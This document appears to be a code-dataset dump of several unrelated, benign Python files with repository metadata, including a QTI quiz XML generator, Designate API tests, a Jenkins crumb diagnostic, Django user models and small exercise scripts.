xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml))
elif question.type == 'numerical_question':
xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml))
elif question.type == 'essay_question':
xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml))
elif question.type == 'file_upload_question':
xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml))
else:
raise ValueError
if question.type in ('true_false_question', 'multiple_choice_question'):
correct_choice = None
for choice in question.choices:
if choice.correct:
correct_choice = choice
break
if correct_choice is None:
raise TypeError
resprocessing = []
resprocessing.append(ITEM_RESPROCESSING_START)
if question.feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK)
for choice in question.choices:
if choice.feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}'))
if question.correct_feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}'))
else:
resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}'))
if question.incorrect_feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK)
resprocessing.append(ITEM_RESPROCESSING_END)
xml.extend(resprocessing)
elif question.type == 'short_answer_question':
resprocessing = []
resprocessing.append(ITEM_RESPROCESSING_START)
if question.feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK)
for choice in question.choices:
if choice.feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml))
varequal = []
for choice in question.choices:
varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml))
if question.correct_feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\n'.join(varequal)))
else:
resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\n'.join(varequal)))
if question.incorrect_feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK)
resprocessing.append(ITEM_RESPROCESSING_END)
xml.extend(resprocessing)
elif question.type == 'multiple_answers_question':
resprocessing = []
resprocessing.append(ITEM_RESPROCESSING_START)
if question.feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK)
for choice in question.choices:
if choice.feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}'))
varequal = []
for choice in question.choices:
if choice.correct:
varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}'))
else:
varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}'))
if question.correct_feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\n'.join(varequal)))
else:
resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\n'.join(varequal)))
if question.incorrect_feedback_raw is not None:
resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK)
resprocessing.append(ITEM_RESPROCESSING_END)
xml.extend(resprocessing)
elif question.type == 'numerical_question':
xml.append(ITEM_RESPROCESSING_START)
if question.feedback_raw is not None:
xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK)
if question.correct_feedback_raw is None:
if question.numerical_exact is None:
item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK
else:
item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK
else:
if question.numerical_exact is None:
item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK
else:
item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK
xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml,
num_exact=question.numerical_exact_html_xml,
num_max=question.numerical_max_html_xml))
if question.incorrect_feedback_raw is not None:
xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK)
xml.append(ITEM_RESPROCESSING_END)
elif question.type == 'essay_question':
xml.append(ITEM_RESPROCESSING_START)
xml.append(ITEM_RESPROCESSING_ESSAY)
if question.feedback_raw is not None:
xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK)
xml.append(ITEM_RESPROCESSING_END)
elif question.type == 'file_upload_question':
xml.append(ITEM_RESPROCESSING_START)
if question.feedback_raw is not None:
xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK)
xml.append(ITEM_RESPROCESSING_END)
else:
raise ValueError
if question.type in ('true_false_question', 'multiple_choice_question',
'short_answer_question', 'multiple_answers_question',
'numerical_question', 'essay_question', 'file_upload_question'):
if question.feedback_raw is not None:
xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml))
if question.correct_feedback_raw is not None:
xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml))
if question.incorrect_feedback_raw is not None:
xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml))
if question.type in ('true_false_question', 'multiple_choice_question',
'short_answer_question', 'multiple_answers_question'):
for choice in question.choices:
if choice.feedback_raw is not None:
xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}',
feedback=choice.feedback_html_xml))
xml.append(END_ITEM)
xml.append(AFTER_ITEMS)
return ''.join(xml)
| 40.474164
| 260
| 0.629769
| 2,487
| 26,632
| 6.386409
| 0.081624
| 0.087767
| 0.052131
| 0.047598
| 0.781842
| 0.714789
| 0.658377
| 0.619027
| 0.559529
| 0.494302
| 0
| 0.006305
| 0.273393
| 26,632
| 657
| 261
| 40.535769
| 0.81448
| 0.010063
| 0
| 0.640212
| 0
| 0.001764
| 0.470215
| 0.159497
| 0
| 0
| 0
| 0
| 0
| 1
| 0.001764
| false
| 0
| 0.001764
| 0
| 0.005291
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc09cc4c599dae963fa070fbe9dc0b9a5e9e17c9
| 1,425
|
py
|
Python
|
code/figure_warp.py
|
jwcarr/drift
|
a514c5970ba53025cc142257e953c1bda3cd049c
|
[
"CC-BY-4.0"
] | 2
|
2021-11-19T10:12:58.000Z
|
2021-11-30T03:33:59.000Z
|
code/figure_warp.py
|
jwcarr/vertical_drift
|
5b4b6c475b5118950514dc01960391ef0d95bd19
|
[
"CC-BY-4.0"
] | null | null | null |
code/figure_warp.py
|
jwcarr/vertical_drift
|
5b4b6c475b5118950514dc01960391ef0d95bd19
|
[
"CC-BY-4.0"
] | null | null | null |
import numpy as np
import eyekit
import algorithms
import core
data = eyekit.io.load(core.FIXATIONS / 'sample.json')
passages = eyekit.io.load(core.DATA / 'passages.json')
original_sequence = data['trial_5']['fixations']
fixation_XY = np.array([fixation.xy for fixation in original_sequence], dtype=int)
word_XY = np.array([word.center for word in passages['1B'].words(alphabetical_only=False)], dtype=int)
start_times = np.array([i*100 for i in range(len(word_XY))], dtype=int)
expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100]))
diagram = eyekit.vis.Image(1920, 1080)
diagram.draw_text_block(passages['1B'], mask_text=True)
diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6)
diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6)
_, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY)
for fixation, mapped_words in zip(original_sequence, warping_path):
for word_i in mapped_words:
word_x, word_y = word_XY[word_i]
diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5, dashed=True)
fig = eyekit.vis.Figure()
fig.add_image(diagram)
fig.set_crop_margin(2)
fig.set_padding(vertical=2, horizontal=3, edge=1)
fig.set_enumeration(False)
fig.save(core.VISUALS / 'illustration_warp.pdf', width=83)
# fig.save(core.FIGS / 'fig02_single_column.eps', width=83)
| 39.583333
| 102
| 0.781754
| 224
| 1,425
| 4.745536
| 0.424107
| 0.028222
| 0.022578
| 0.030103
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031418
| 0.084211
| 1,425
| 35
| 103
| 40.714286
| 0.783142
| 0.04
| 0
| 0
| 0
| 0
| 0.061493
| 0.015373
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.115385
| 0.153846
| 0
| 0.153846
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc109f21dbb2efc4b477a59e275c911d6c56316e
| 221
|
py
|
Python
|
ABC/abc001-abc050/abc007/b.py
|
KATO-Hiro/AtCoder
|
cbbdb18e95110b604728a54aed83a6ed6b993fde
|
[
"CC0-1.0"
] | 2
|
2020-06-12T09:54:23.000Z
|
2021-05-04T01:34:07.000Z
|
ABC/abc001-abc050/abc007/b.py
|
KATO-Hiro/AtCoder
|
cbbdb18e95110b604728a54aed83a6ed6b993fde
|
[
"CC0-1.0"
] | 961
|
2020-06-23T07:26:22.000Z
|
2022-03-31T21:34:52.000Z
|
ABC/abc001-abc050/abc007/b.py
|
KATO-Hiro/AtCoder
|
cbbdb18e95110b604728a54aed83a6ed6b993fde
|
[
"CC0-1.0"
] | null | null | null |
# -*- coding: utf-8 -*-
def main():
a = input()
# See:
# https://www.slideshare.net/chokudai/abc007
if a == 'a':
print('-1')
else:
print('a')
if __name__ == '__main__':
main()
| 13
| 48
| 0.466063
| 26
| 221
| 3.653846
| 0.730769
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033333
| 0.321267
| 221
| 16
| 49
| 13.8125
| 0.6
| 0.312217
| 0
| 0
| 0
| 0
| 0.081081
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0
| 0
| 0.125
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc11f9bf036f8314167de520f758c42b9fa4aa63
| 2,306
|
py
|
Python
|
designate-8.0.0/designate/tests/test_api/test_v2/test_limits.py
|
scottwedge/OpenStack-Stein
|
7077d1f602031dace92916f14e36b124f474de15
|
[
"Apache-2.0"
] | 145
|
2015-01-02T09:35:53.000Z
|
2021-12-14T17:03:53.000Z
|
designate/tests/test_api/test_v2/test_limits.py
|
sapcc/designate
|
c3f084751006a2fe7562f137930542c4759d6fd9
|
[
"Apache-2.0"
] | 6
|
2015-03-15T00:22:27.000Z
|
2019-12-16T09:37:38.000Z
|
designate/tests/test_api/test_v2/test_limits.py
|
sapcc/designate
|
c3f084751006a2fe7562f137930542c4759d6fd9
|
[
"Apache-2.0"
] | 109
|
2015-01-13T16:47:34.000Z
|
2021-03-15T13:18:48.000Z
|
# Copyright 2013 Hewlett-Packard Development Company, L.P.
#
# Author: Kiall Mac Innes <[email protected]>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from oslo_config import cfg
from designate.tests.test_api.test_v2 import ApiV2TestCase
class ApiV2LimitsTest(ApiV2TestCase):
def test_get_limits(self):
response = self.client.get('/limits/')
self.assertEqual(200, response.status_int)
self.assertEqual('application/json', response.content_type)
self.assertIn('max_zones', response.json)
self.assertIn('max_zone_records', response.json)
self.assertIn('max_zone_recordsets',
response.json)
self.assertIn('max_recordset_records',
response.json)
self.assertIn('min_ttl', response.json)
self.assertIn('max_zone_name_length',
response.json)
self.assertIn('max_recordset_name_length',
response.json)
self.assertIn('max_page_limit',
response.json)
absolutelimits = response.json
self.assertEqual(cfg.CONF.quota_zones, absolutelimits['max_zones'])
self.assertEqual(cfg.CONF.quota_zone_records,
absolutelimits['max_zone_recordsets'])
self.assertEqual(cfg.CONF['service:central'].min_ttl,
absolutelimits['min_ttl'])
self.assertEqual(cfg.CONF['service:central'].max_zone_name_len,
absolutelimits['max_zone_name_length'])
self.assertEqual(cfg.CONF['service:central'].max_recordset_name_len,
absolutelimits['max_recordset_name_length'])
self.assertEqual(cfg.CONF['service:api'].max_limit_v2,
absolutelimits['max_page_limit'])
| 41.927273
| 76
| 0.667823
| 274
| 2,306
| 5.448905
| 0.434307
| 0.072338
| 0.085733
| 0.112525
| 0.312793
| 0.251172
| 0.134628
| 0
| 0
| 0
| 0
| 0.009106
| 0.238075
| 2,306
| 54
| 77
| 42.703704
| 0.840637
| 0.270598
| 0
| 0.15625
| 0
| 0
| 0.183073
| 0.042617
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.03125
| false
| 0
| 0.0625
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc1210baa0e8a8267a154dad6a47b17fe2942673
| 1,696
|
py
|
Python
|
pythonAnimations/pyOpenGLChess/engineDirectory/oglc-env/lib/python2.7/site-packages/OpenGLContext/scenegraph/nodepath.py
|
alexus37/AugmentedRealityChess
|
7f600ad153270feff12aa7aa86d7ed0a49ebc71c
|
[
"MIT"
] | 1
|
2015-07-12T07:24:17.000Z
|
2015-07-12T07:24:17.000Z
|
pythonAnimations/pyOpenGLChess/engineDirectory/oglc-env/lib/python2.7/site-packages/OpenGLContext/scenegraph/nodepath.py
|
alexus37/AugmentedRealityChess
|
7f600ad153270feff12aa7aa86d7ed0a49ebc71c
|
[
"MIT"
] | null | null | null |
pythonAnimations/pyOpenGLChess/engineDirectory/oglc-env/lib/python2.7/site-packages/OpenGLContext/scenegraph/nodepath.py
|
alexus37/AugmentedRealityChess
|
7f600ad153270feff12aa7aa86d7ed0a49ebc71c
|
[
"MIT"
] | 1
|
2016-02-19T21:55:53.000Z
|
2016-02-19T21:55:53.000Z
|
"""node-path implementation for OpenGLContext
"""
from vrml.vrml97 import nodepath, nodetypes
from vrml.cache import CACHE
from OpenGLContext import quaternion
from OpenGL.GL import glMultMatrixf
class _NodePath( object ):
"""OpenGLContext-specific node-path class
At the moment this only adds a single method,
transform() which traverses the path, calling
transform() for each Transforming node which
has a transform method.
"""
__slots__ = ()
def transform( self, mode=None, translate=1, scale=1, rotate=1 ):
"""For each Transforming node, do OpenGL transform
Does _not_ push-pop matrices, so do that before
if you want to save your current matrix. This method
is useful primarily for storing paths to, for instance,
bindable nodes, where you want to be able to rapidly
transform down to the node, without needing a full
traversal of the scenegraph.
"""
matrix = self.transformMatrix(
translate=translate, scale=scale, rotate=rotate
)
glMultMatrixf(
matrix
)
def quaternion( self ):
"""Get summary quaternion for all rotations in stack"""
nodes = [
node
for node in self
if (
isinstance(node, nodetypes.Transforming) and
hasattr( node, "orientation")
)
]
q = quaternion.Quaternion()
for node in nodes:
q = q * quaternion.fromXYZR( *node.orientation )
return q
class NodePath( _NodePath, nodepath.NodePath ):
pass
class WeakNodePath( _NodePath, nodepath.WeakNodePath ):
pass
| 32
| 69
| 0.630896
| 192
| 1,696
| 5.526042
| 0.5
| 0.06032
| 0.035815
| 0.043355
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004223
| 0.301887
| 1,696
| 52
| 70
| 32.615385
| 0.891892
| 0.373231
| 0
| 0.066667
| 0
| 0
| 0.011423
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066667
| false
| 0.066667
| 0.133333
| 0
| 0.366667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc188927db9f5bd43bd5abe64681e14292f26e08
| 269
|
py
|
Python
|
features/steps/basic_account_add_bdd.py
|
MhmdRyhn/behavior_test
|
868252e0b31596e0bff4a969745cf3b633c13695
|
[
"MIT"
] | null | null | null |
features/steps/basic_account_add_bdd.py
|
MhmdRyhn/behavior_test
|
868252e0b31596e0bff4a969745cf3b633c13695
|
[
"MIT"
] | null | null | null |
features/steps/basic_account_add_bdd.py
|
MhmdRyhn/behavior_test
|
868252e0b31596e0bff4a969745cf3b633c13695
|
[
"MIT"
] | null | null | null |
import behave
@behave.when('I add $1200 to my account')
def add_usd_1200(context):
context.account.add_cash(amount=1200)
@behave.then('It becomes $3200 in my account')
def check_for_increase_to_usd_1880(context):
assert context.account.current_cash == 3200
| 22.416667
| 47
| 0.762082
| 43
| 269
| 4.55814
| 0.581395
| 0.091837
| 0.122449
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.102564
| 0.130112
| 269
| 11
| 48
| 24.454545
| 0.735043
| 0
| 0
| 0
| 0
| 0
| 0.204461
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 1
| 0.285714
| false
| 0
| 0.142857
| 0
| 0.428571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc1fa639ebbd112d3143f8455e253cf35ff2e2c9
| 1,033
|
py
|
Python
|
src/main/resources/scripts/crumbDiag.py
|
cam-laf/vectorcast-execution-plugin
|
fd54e8580886084d040d21fa809be8a609d44d8e
|
[
"MIT"
] | 4
|
2019-06-28T22:46:06.000Z
|
2020-05-28T08:53:37.000Z
|
src/main/resources/scripts/crumbDiag.py
|
cam-laf/vectorcast-execution-plugin
|
fd54e8580886084d040d21fa809be8a609d44d8e
|
[
"MIT"
] | 18
|
2018-09-26T15:32:11.000Z
|
2021-10-01T21:57:14.000Z
|
src/main/resources/scripts/crumbDiag.py
|
cam-laf/vectorcast-execution-plugin
|
fd54e8580886084d040d21fa809be8a609d44d8e
|
[
"MIT"
] | 11
|
2017-03-19T18:37:16.000Z
|
2020-04-06T19:46:09.000Z
|
from __future__ import print_function
import requests
import sys
import os
verbose=True
try:
username=os.environ['USERNAME']
password=os.environ['PASSWORD']
except:
print("Crumb Diaganostic requires USERNAME/PASSWORD to be set as environment variables")
sys.exit(-1)
jenkins_url=os.environ['JENKINS_URL']
url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)'
print(url)
if username:
crumb = requests.get(url, auth=(username, password))
if crumb.status_code == 200:
crumb_headers = dict()
crumb_headers[crumb.text.split(":")[0]] = crumb.text.split(":")[1]
if verbose:
print("Got crumb: %s" % crumb.text)
else:
print("Failed to get crumb")
print("\nYou may need to enable \"Prevent Cross Site Request Forgery exploits\" from:")
print("Manage Jenkins > Configure Global Security > CSRF Protection and select the appropriate Crumb Algorithm")
print(jenkins_url + "/configureSecurity")
sys.exit(-1)
| 35.62069
| 120
| 0.683446
| 131
| 1,033
| 5.29771
| 0.541985
| 0.057637
| 0.023055
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008383
| 0.191675
| 1,033
| 28
| 121
| 36.892857
| 0.822754
| 0
| 0
| 0.074074
| 0
| 0
| 0.346563
| 0.062924
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.111111
| 0.148148
| 0
| 0.148148
| 0.296296
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc2653dfaa764320b8eb71e09ae9ebdeb59fea8c
| 287
|
py
|
Python
|
dynamic_programming/01/01-06.py
|
fumiyanll23/algo-method
|
d86ea1d399cbc5a1db0ae49d0c82e41042f661ab
|
[
"MIT"
] | null | null | null |
dynamic_programming/01/01-06.py
|
fumiyanll23/algo-method
|
d86ea1d399cbc5a1db0ae49d0c82e41042f661ab
|
[
"MIT"
] | null | null | null |
dynamic_programming/01/01-06.py
|
fumiyanll23/algo-method
|
d86ea1d399cbc5a1db0ae49d0c82e41042f661ab
|
[
"MIT"
] | null | null | null |
# input
N, M = map(int, input().split())
Ds = [*map(int, input().split())]
# compute
dp = [False] * (N+1)
for ni in range(N+1):
if ni == 0:
dp[ni] = True
for D in Ds:
if ni >= D:
dp[ni] = dp[ni] or dp[ni-D]
# output
print("Yes" if dp[-1] else "No")
| 17.9375
| 39
| 0.477352
| 52
| 287
| 2.634615
| 0.480769
| 0.116788
| 0.160584
| 0.233577
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02
| 0.303136
| 287
| 15
| 40
| 19.133333
| 0.665
| 0.069686
| 0
| 0
| 0
| 0
| 0.019011
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.1
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc3188873ff10721356aeaf7e965132781c78f98
| 793
|
py
|
Python
|
level_one/strings.py
|
jameskzhao/python36
|
855e8a6e164065702efa7773da1f089454fdcbcc
|
[
"Apache-2.0"
] | null | null | null |
level_one/strings.py
|
jameskzhao/python36
|
855e8a6e164065702efa7773da1f089454fdcbcc
|
[
"Apache-2.0"
] | null | null | null |
level_one/strings.py
|
jameskzhao/python36
|
855e8a6e164065702efa7773da1f089454fdcbcc
|
[
"Apache-2.0"
] | null | null | null |
#Basics
a = "hello"
a += " I'm a dog"
print(a)
print(len(a))
print(a[1:]) #Output: ello I'm a dog
print(a[:5]) #Output: hello(index 5 is not included)
print(a[2:5])#Output: llo(index 2 is included)
print(a[::2])#Step size
#string is immutable so you can't assign a[1]= b
x = a.upper()
print(x)
x = a.capitalize()
print(x)
x = a.split('e')
print(x)
x = a.split() #splits the string by space
print(x)
x = a.strip() #removes any whitespace from beginning or the end
print(x)
x = a.replace('l','xxx')
print(x)
x = "Insert another string here: {}".format('insert me!')
x = "Item One: {} Item Two: {}".format('dog', 'cat')
print(x)
x = "Item One: {m} Item Two: {m}".format(m='dog', n='cat')
print(x)
#command-line string input
print("Enter your name:")
x = input()
print("Hello: {}".format(x))
| 22.027778
| 63
| 0.631778
| 150
| 793
| 3.34
| 0.426667
| 0.095808
| 0.097804
| 0.07984
| 0.0998
| 0.047904
| 0
| 0
| 0
| 0
| 0
| 0.011923
| 0.153846
| 793
| 36
| 64
| 22.027778
| 0.734724
| 0.320303
| 0
| 0.285714
| 0
| 0
| 0.280603
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.571429
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
fc35043bdda56bc264f387918b5687e34dea2849
| 1,152
|
py
|
Python
|
api/models/users.py
|
felipebarraza6/startup_comedy
|
42b4a4547bffc0d7cf34ace520355d80053bbd9e
|
[
"MIT"
] | null | null | null |
api/models/users.py
|
felipebarraza6/startup_comedy
|
42b4a4547bffc0d7cf34ace520355d80053bbd9e
|
[
"MIT"
] | null | null | null |
api/models/users.py
|
felipebarraza6/startup_comedy
|
42b4a4547bffc0d7cf34ace520355d80053bbd9e
|
[
"MIT"
] | null | null | null |
"""User Model."""
# Django
from django.db import models
from django.contrib.auth.models import AbstractUser
# Utilities
from .utils import ApiModel
class User(ApiModel, AbstractUser):
email = models.EmailField(
'email',
unique = True,
)
USERNAME_FIELD = 'email'
REQUIRED_FIELDS = ['username', 'first_name', 'last_name']
is_student = models.BooleanField(default=False)
class Meta:
verbose_name='Usuario'
verbose_name_plural='Usuarios'
def __str__(self):
return self.username
def get_short_name(self):
return self.username
class ProfileUser(ApiModel):
user = models.OneToOneField(User, on_delete=models.CASCADE)
approved_courses = models.ManyToManyField('api.ResultContest',
related_name='user_aproved_courses', blank=True, null=True)
tests_performed = models.ManyToManyField('api.ResultTest',
related_name='user_result_test', blank=True)
class Meta:
verbose_name = 'Usuario - Perfil'
verbose_name_plural = 'Usuarios - Perfiles'
def __str__(self):
return str(self.user)
| 24
| 71
| 0.667535
| 126
| 1,152
| 5.865079
| 0.492063
| 0.05954
| 0.043302
| 0.054127
| 0.073072
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.233507
| 1,152
| 47
| 72
| 24.510638
| 0.83692
| 0.025174
| 0
| 0.206897
| 0
| 0
| 0.138117
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.103448
| false
| 0
| 0.103448
| 0.103448
| 0.689655
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 1
|
fc3a04cfd338f72934bd5d86f8126f4adfa55c05
| 1,330
|
py
|
Python
|
Compare.py
|
sushantPatrikar/WaveCompartor
|
112395287b41c1b5533924ebe293c5641647a5e3
|
[
"MIT"
] | 3
|
2019-10-27T03:45:18.000Z
|
2022-02-21T18:50:58.000Z
|
Compare.py
|
sushantPatrikar/WaveComparator
|
112395287b41c1b5533924ebe293c5641647a5e3
|
[
"MIT"
] | null | null | null |
Compare.py
|
sushantPatrikar/WaveComparator
|
112395287b41c1b5533924ebe293c5641647a5e3
|
[
"MIT"
] | 1
|
2021-04-20T07:39:37.000Z
|
2021-04-20T07:39:37.000Z
|
from scipy.io import wavfile
import numpy as np
import pingouin as pg
import pandas as pd
_,data = wavfile.read('wav//ed//mp3baked.wav')
_,data1 = wavfile.read('wav//ing//ingeating.wav')
i= data.shape[0]-1
j = data1.shape[0]-1
index_1 = -1
index_2 = -1
try:
data.shape[1]
except IndexError:
data = data.reshape(data.shape[0],1)
try:
data1.shape[1]
except IndexError:
data1 = data1.reshape(data1.shape[0],1)
while True:
if data[i,0] !=0 and index_1==-1:
index_1 = i
pass
if data1[j,0] !=0 and index_2==-1:
index_2 = j
pass
if index_1!=-1 and index_2!=-1:
break
i-=1
j-=1
data = data[-index_1:,:]
data1 = data1[-index_2:,:]
data = data[-2000:,:]
data1= data1[-2000:,:]
x =pg.corr(x=data[:,0],y=data1[:,0])
print(x)
# print(data.tostring())
# print(data1.tostring())
# data = data[:,:]
# data1 = data1[:,:]
# data = data.reshape(data.shape[0],1)
# data1 = data1.reshape(data1.shape[0],1)
# data = data[-10000:,:]
# data1 = data1[-10000:,:]
# print(data1.shape[1])
# df = pd.DataFrame(data,data1)
# print(df.head())
# print(data1.shape)
# data = data[-5000:,:]
# data1 = data1[-5000:,:]
# #
# x =pg.corr(x=data[:,0],y=data1[:,0])
# print(x)
| 15.647059
| 50
| 0.552632
| 201
| 1,330
| 3.597015
| 0.238806
| 0.077455
| 0.058091
| 0.045643
| 0.224066
| 0.224066
| 0.224066
| 0.071923
| 0.071923
| 0.071923
| 0
| 0.094378
| 0.251128
| 1,330
| 84
| 51
